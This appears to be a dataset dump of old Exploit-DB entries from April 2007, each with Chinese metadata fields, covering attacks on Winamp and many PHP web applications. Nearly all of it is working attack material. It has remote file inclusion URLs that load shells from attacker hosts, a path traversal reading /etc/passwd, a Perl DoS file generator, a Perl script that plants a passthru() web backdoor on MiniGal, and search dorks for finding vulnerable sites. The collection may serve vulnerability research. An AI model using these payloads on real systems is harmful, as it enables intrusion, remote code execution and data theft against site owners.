QLWD/code_shield huggingface dataset:
标题: Winamp 5.3 - '.wmv' Remote Denial of Service EDB-ID: 3768 CVE: 2007-2180 类型: DOS 平台: WINDOWS 发布日期: 2007-04-19 漏洞利用脚本: #!/usr/bin/perl

# --------------------------------- Winamp <= (WMV) 5.3 Buffer Overflow DOS Exploit (0-DAY) ---------------------------------

# Type :

# Buffer Overflow - DOS

# Release Date :

# {2007-04-16}

# Product / Vendor :

# Winamp Media Player

# http://www.winamp.com/

# Exploit :

#############################################
#Exploit Coded By UNIQUE-KEY[UNIQUE-CRACKER]#
#############################################

{

    print "\n-----------------------------------\n";

    print "Winamp <= (WMV) 5.3 Buffer Overflow DOS Exploit (0-DAY)\n";

    print "-----------------------------------\n";

    print "\nUniquE-Key{UniquE-Cracker}\n";

    print "UniquE[at]UniquE-Key.ORG\n";

    print "http://UniquE-Key.ORG\n";

    print "\n-----------------------------------\n";

    print "\nExploit Completed!\n";

    print "\n-----------------------------------\n";

}

open(wmv, ">./exploit.wmv");

print wmv "\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00".

print wmv "\x4D\x54\x68\x64";

close(wmv);

# Tested :

# --- WINAMP 5.3 Version ---

# Author :

# UniquE-Key{UniquE-Cracker}
# UniquE(at)UniquE-Key.Org
# http://www.UniquE-Key.Org

# milw0rm.com [2007-04-19] URL: https://www.exploit-db.com/exploits/3768
标题: jGallery 1.3 - 'index.php' Remote File Inclusion EDB-ID: 3760 CVE: 2007-2158 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-18 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+                                                  Y! Underground Team                                             +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+          Portal......:  jGallery 1.3                                                                             +
+          Author......:  Dj7xpl / Dj7xpl@Yahoo.com                                                                +
+          Type........:  Remote File Inclusion Vulnerability                                                      +
+          Dork........:  intitle:"jGallery"                                                                       +
+          Download....:  http://portal.kooijman-design.nl/jGallery/README.html                                    +
+          Page........:  http://Dj7xpl.2600.ir                                                                    +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+          Bug.........:  http://[Target]/[Path]/index.php?G_JGALL[inc_path]=http://[EvilSite]/Evil.txt%00         +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-18] URL: https://www.exploit-db.com/exploits/3760
标题: Zomplog 3.8 - 'force_download.php' Remote File Disclosure EDB-ID: 3764 CVE: 2007-2157 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-18 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+                                              Y! Underground Group                                                +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+          Portal......:  Zomplog v3.8                                                                             +
+          Author......:  Dj7xpl / Dj7xpl@Yahoo.com                                                                +
+          Type........:  Remote File Disclosure Vulnerability                                                     +
+          Download....:  www.zomp.nl/zomplog                                                                      +
+          Page........:  http://Dj7xpl.2600.ir                                                                    +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+          Bug.........:  http://[Target]/[Path]/upload/force_download.php?file=[Local Path]                       +
+          E.g.........:  http://[Target]/[Path]/upload/force_download.php?file=../../../etc/passwd                +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-18] URL: https://www.exploit-db.com/exploits/3764
标题: opensurveypilot 1.2.1 - Remote File Inclusion EDB-ID: 3765 CVE: 2007-2166 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-18 漏洞利用脚本: # osp <= 1.2.1 (cfgPathToProjectAdmin) Remote File Include Vulnerablities

# D.Script: http://nlcac.internationalstudents.asn.au/osp1.01RC1.tar
   http://sourceforge.net/projects/osp/ << latest
   
# Discovered by: Alkomandoz Hacker

# Homepage: http://www.asb-may.net & TrYaG.CoM & MoHaNdKo.CoM

# Exploit:

[Path]/opensurveypilot/administration/user/lib/group.inc.php?cfgPathToProjectAdmin=Shell

-----------------------

----  Thanx: [KaBaRa.hAcK.eGy] [Mahmood_ali] [3theaby Gheer] [Dr.aSiEr H@Ck]
                [ AsB-MaY GrOuPs ] [ Cold-Zero ] [ No4Hard ] [ MoHaNdKo ]

---- GreeTz: All www.Asb-May.bet & WwW.MoHaNdKo.CoM & WwW.TrYaG.CoM

# milw0rm.com [2007-04-18] URL: https://www.exploit-db.com/exploits/3765
标题: Mozzers SubSystem final - 'subs.php' Remote Code Execution EDB-ID: 3761 CVE: 2007-2169 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-18 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+                                               Y! Underground Group                                               +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+          Portal......:  Mozzers SubSystem v1.0 Final                                                             +
+          Author......:  Dj7xpl / Dj7xpl@Yahoo.com                                                                +
+          Type........:  Remote Code Execution Vulnerability                                                      +
+          Download....:  http://sourceforge.net/projects/subsystem/                                               +
+          Page........:  http://Dj7xpl.2600.ir                                                                    +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                                                                  +
+          Bug.........:                                                                                           +
+                         (1) Open Target By Browser : http://[Target]/[Path]/index.php?page=add                   +
+                         (2) Insert Bad Code Into (Sub-name) Or (Sub-url)  E.g  :<?passthru($cmd);?>              +
+                         (3) See Your Bad Code      : http://[Target]/[Path]/subs.php                             +
+                                                                                                                  +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-18] URL: https://www.exploit-db.com/exploits/3761
标题: Cabron Connector 1.1.0-Full - Remote File Inclusion EDB-ID: 3756 CVE: 2007-2154 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-17 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                   Cabron Connector v1.1.0 
-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Author :   Dj7xpl / Dj7xpl[at]Yahoo[dot]com
* Type :     Remote File Inclusion Vuln
* Download:  http://cabron.sourceforge.net
* Vuln:      http://[Target]/[Path]/services/samples/inclusionService.php?CabronServiceFolder=[EvilTxt]%00

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Vuln Code: 
             include_once("$CabronServiceFolder/lib/includedFunction.php");   <== Line(1)

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-17] URL: https://www.exploit-db.com/exploits/3756
标题: Rezervi 0.9 - 'root' Remote File Inclusion EDB-ID: 3763 CVE: 2007-2156 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-18 漏洞利用脚本: # Rezervi Generic 0.9(root)Remote File Include Vulnerablities
# D.Script: http://www.rezervi.com/www/german/download/rezerviGenericV0_9.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/templates/datumVonDatumBis.inc.php?root=Shell
# Exploit:[Path]/templates/footer.inc.php?root=Shell
# Exploit:[Path]/templates/header.inc.php?root=Shell
# Exploit:[Path]/templates/stylesheets.php?root=Shell
# Exploit:[Path]/belegungsplan/wochenuebersicht.inc.php?root=Shell
# Exploit:[Path]/belegungsplan/monatsuebersicht.inc.php?root=Shell
# Exploit:[Path]/belegungsplan/jahresuebersicht.inc.php?root=Shell
# Exploit:[Path]/belegungsplan/tagesuebersicht.inc.php?root=Shell
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# Thanx To : RootShell-Team.Info & Alkomandoz Hacker 

# milw0rm.com [2007-04-18] URL: https://www.exploit-db.com/exploits/3763
标题: MiniGal b13 - Remote Code Execution EDB-ID: 3754 CVE: 2007-2146 2007-2145 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-17 漏洞利用脚本: #!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

                        # MiniGal b13 

# -=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=-

# -=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# * Author :

            # Dj7xpl / Dj7xpl[at]Yahoo[dot]com

# * Type :

            # Remote Code Execution Exploit

# * Download :

            # http://www.minigal.dk
   
# * D0rk :

            # Powered by MiniGal (b13)

# -=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=-

# -=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-
use IO::Socket;
if (@ARGV < 3){
print "

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
*                                                                             *
*    MiniGal b13  Remote Code Execution Exploit                               *
*                                                                             *
*    Usage   :  Xpl.pl [Target] [Path] [Backd00r Name] [Gallery Name]         *
*                                                                             *
*    Example :  Xpl.pl Dj7xpl.ir /minigal/ dj7xpl.php Pic                     *
*                                                                             *
*                    Vuln & Coded By Dj7xpl                                   *
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

";
exit();
}
$code = "<?passthru(\$cmd);?>";
$host=$ARGV[0];
$path=$ARGV[1];
$backdoorname=$ARGV[2];
$listname=$ARGV[3];
print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
print "\n[~] MiniGal b13 Remote Code Execution Exploit Vuln&Coded By Dj7xpl\n";sleep (2);
print "[~] Connect To http://".$host."\n";sleep (2);
print "[~] Create Backd00r";sleep (1);print ".";sleep (1);print ".";sleep (1);print ".";sleep (1);print ".\n";sleep (1);
print "[~] Backd00r: http://".$host."".$path."".$listname."/thumbs/".$backdoorname."?cmd=ls -la\n\n";
print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";

    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Connect Failed.\n\n";
    print $socket "GET ".$path."index.php?input=".$code."&name=Dj7xpl&email=Dj7xpl@yahoo.com&chatinput=1&list=".$listname."&image=".$backdoorname."%00 HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";


# -=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=-

# Sp Tnx : Str0ke

# milw0rm.com [2007-04-17] URL: https://www.exploit-db.com/exploits/3754
标题: SunShop Shopping Cart 3.5 - 'abs_path' Remote File Inclusion EDB-ID: 3748 CVE: 2007-2070 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-16 漏洞利用脚本: sunshop 4 (index.php) Remote File Include Vulnerability

-----------------------------------------------------------------------------------------
# scripts       : SunShop v3.5
# Discovered By : irvian
# scripts site  : http://www.turnkeywebtools.com/sunshop/
# Thanks To     : #hitamputih #nyubicrew #patihack
# special To    : nyubi,ibnusina,arioo,jipank,kacung,trangkil,cah_gemblunkz,permenhack
# dork          : "powered by sunshop"
------------------------------------------------------------------------------------------
bug found:

Exploit: www.target.com/index.php?abs_path=[evilcode]
         www.target.com/checkout.php?abs_path=[evilcode]

# milw0rm.com [2007-04-16] URL: https://www.exploit-db.com/exploits/3748
标题: Joomla! Component JoomlaPack 1.0.4a2 RE - 'CAltInstaller.php' Remote File Inclusion EDB-ID: 3753 CVE: 2007-2144 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-17 漏洞利用脚本: =======================================================
Jommla Component JoomlaPack 1.0.4a2 RE (CAltInstaller.php) Remote File 
Include Vulnerabilities
=======================================================
Found By : Cold z3ro , Cold-z3ro@hotmail.com
=======================================================
Homepage: www.Hack-Teach.com , www.Hack-Teach.org
=======================================================
Script Site : 
http://joom.ru/component/option,com_remository/Itemid,52/func,fileinfo/id,170/
==============================================
File : /CAltInstaller.php
require_once( $mosConfig_absolute_path . 
'/includes/domit/xml_domit_lite_include.php' );
======
/administrator/components/com_jpack/includes/CAltInstaller.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
========================================================


#Long Life Palestine
#www.Hack-Teach.com , www.Hack-Teach.org

# milw0rm.com [2007-04-17] URL: https://www.exploit-db.com/exploits/3753
标题: xoops module tsdisplay4xoops 0.1 - Remote File Inclusion EDB-ID: 3750 CVE: 2007-2091 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-16 漏洞利用脚本: # tsdisplay4xoops 0.1(xoops_url)Remote File Include Vulnerabilitiy
# D.Script: http://kisskool30.free.fr/tsdisplay4xoopsv0.08.zip 
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://Www.Tryag.Com/cc
# Exploit:[Path]/modules/tsdisplay4xoops/blocks/tsdisplay4xoops_block2.php?xoops_url=Shell
# Greetz To: Tryag.Com/cc & Dwrat.Com & Asb-May.Net/bb

# milw0rm.com [2007-04-16] URL: https://www.exploit-db.com/exploits/3750
标题: AjPortal2Php - 'PagePrefix' Remote File Inclusion EDB-ID: 3752 CVE: 2007-2142 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-17 漏洞利用脚本: #   [ AjPortal2Php]

# Class:     File Include Vulnerability

# Remote:    Yes

# Site: http://www.ajlopez.com/downloads/AjPortal2Php.zip

# Author:    Alkomandoz Hacker

# Contact:   alkomandoz-hacker@hotmail.com

#############################################################

file ;

begin.inc.php
connection.inc.php
events.inc.php
footer.inc.php
header.inc.php
menuleft.inc.php
pages.inc.php


======================================================
Vuln Code

include_once($PagePrefix.'includes/configuration.inc.php');



=======================================================
Exploit :

[AjPortal2Php _path]/includes/begin.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/connection.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/events.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/footer.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/header.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/menuleft.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/pages.inc.php?PagePrefix=Shell



----  Thanx: [HaCk.eGy] [Mahmood_ali] [Dr.aSiEr H@Ck] [ AsB-MaY GrOuPs ] [CiTy Of GhOsTs]

---- GreeTz: All www.Asb-May.Net & WwW.MoHaNdKo.CoM

# milw0rm.com [2007-04-17] URL: https://www.exploit-db.com/exploits/3752
标题: Web Slider 0.6 - 'path' Remote File Inclusion EDB-ID: 3745 CVE: 2007-2067 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-15 漏洞利用脚本: # Web Slider 0.6(path)Remote File Inclusion Vulnerabilities
# D.Script: http://sourceforge.net/projects/webslider/
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://Www.Tryag.Com/cc
# Exploit:[Path]/index.php?path=Shell
# Exploit:[Path]/modules/pdf.php?path=Shell
# Exploit:[Path]/plugins/highlight.php?path=Shell
# Exploit:[Path]/include/modules.php?path=Shell
# Greetz To: Tryag.Com/cc & Dwrat.Com & Asb-May.Net/bb

# milw0rm.com [2007-04-15] URL: https://www.exploit-db.com/exploits/3745
标题: CNStats 2.9 - 'who_r.php?bj' Remote File Inclusion EDB-ID: 3741 CVE: 2007-2087 2007-2086 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-15 漏洞利用脚本: CNStats 2.9  (who_r.php) Remote File Include Vulnerability

-----------------------------------------------------------------------------------------
# Scripts       : CNStats 2.9
# Discovered By : irvian
# scripts site  : http://www.cnstats.com/
# dork          : "CNStats 2.9"
------------------------------------------------------------------------------------------
bug found:

/reports/who_r.php
/reports/who_s.php

  $bk = 't';
  include $bj . 'reports/who.php';


Exploit: http://www.target.com/reports/who_r.php?bj=[evilcode]

# milw0rm.com [2007-04-15] URL: https://www.exploit-db.com/exploits/3741
标题: audioCMS arash 0.1.4 - 'arashlib_dir' Remote File Inclusion EDB-ID: 3744 CVE: 2007-2301 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-15 漏洞利用脚本: # audioCMS arash 0.1.4(arashlib_dir)Remote File Inclusion Vulnerabilities
# D.Script: http://sourceforge.net/projects/arash/
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://Www.Tryag.Com/cc
# Exploit:[Path]/arash_lib/include/edit.inc.php?arashlib_dir=Shell
# Exploit:[Path]/arash_lib/include/list_features.inc.php?arashlib_dir=Shell
# Exploit:[Path]/arash_lib/class/arash_gadmin.class.php?arashlib_dir=Shell
# Exploit:[Path]/arash_lib/class/arash_sadmin.class.php?arashlib_dir=Shell
# Greetz To: Tryag.Com/cc & Dwrat.Com & Asb-May.Net/bb

# milw0rm.com [2007-04-15] URL: https://www.exploit-db.com/exploits/3744
标题: openMairie 1.10 - '/scr/soustab.php' Local File Inclusion EDB-ID: 3747 CVE: 2007-2069 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-16 漏洞利用脚本: # openMairie 1.11(/scr/soustab.php)Local File Inclusion Vulnerabilitiy
# D.Script: http://adullact.net/frs/download.php/1302/openmairie_exemple_1.11.zip 
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://Www.Tryag.Com/cc
# Exploit:[Path]/scr/soustab.php?dsn[phptype]=[ Local File ]%00
# Greetz To: Tryag.Com/cc & Dwrat.Com & Asb-May.Net/bb

# milw0rm.com [2007-04-16] URL: https://www.exploit-db.com/exploits/3747
标题: StoreFront for Gallery - 'GALLERY_BASEDIR' Remote File Inclusion EDB-ID: 3749 CVE: 2007-2068 类型: WEBAPPS 平台: PHP 发布日期: 2007-04-16 漏洞利用脚本: StoreFront for Gallery (GALLERY_BASEDIR) Remote File Inclusion Vulnerabilities

D.Script: http://www.dalton.net/ppstorefront/ppstorefront.zip

Discovered by: Alkomandoz Hacker

Homepage: http://Www.asb-may.net

Exploit:

mods/business_functions.php?GALLERY_BASEDIR=Shell

mods/ui_functions.php?GALLERY_BASEDIR=Shell

Greetz To: Asb-May.Net/bb

# milw0rm.com [2007-04-16] URL: https://www.exploit-db.com/exploits/3749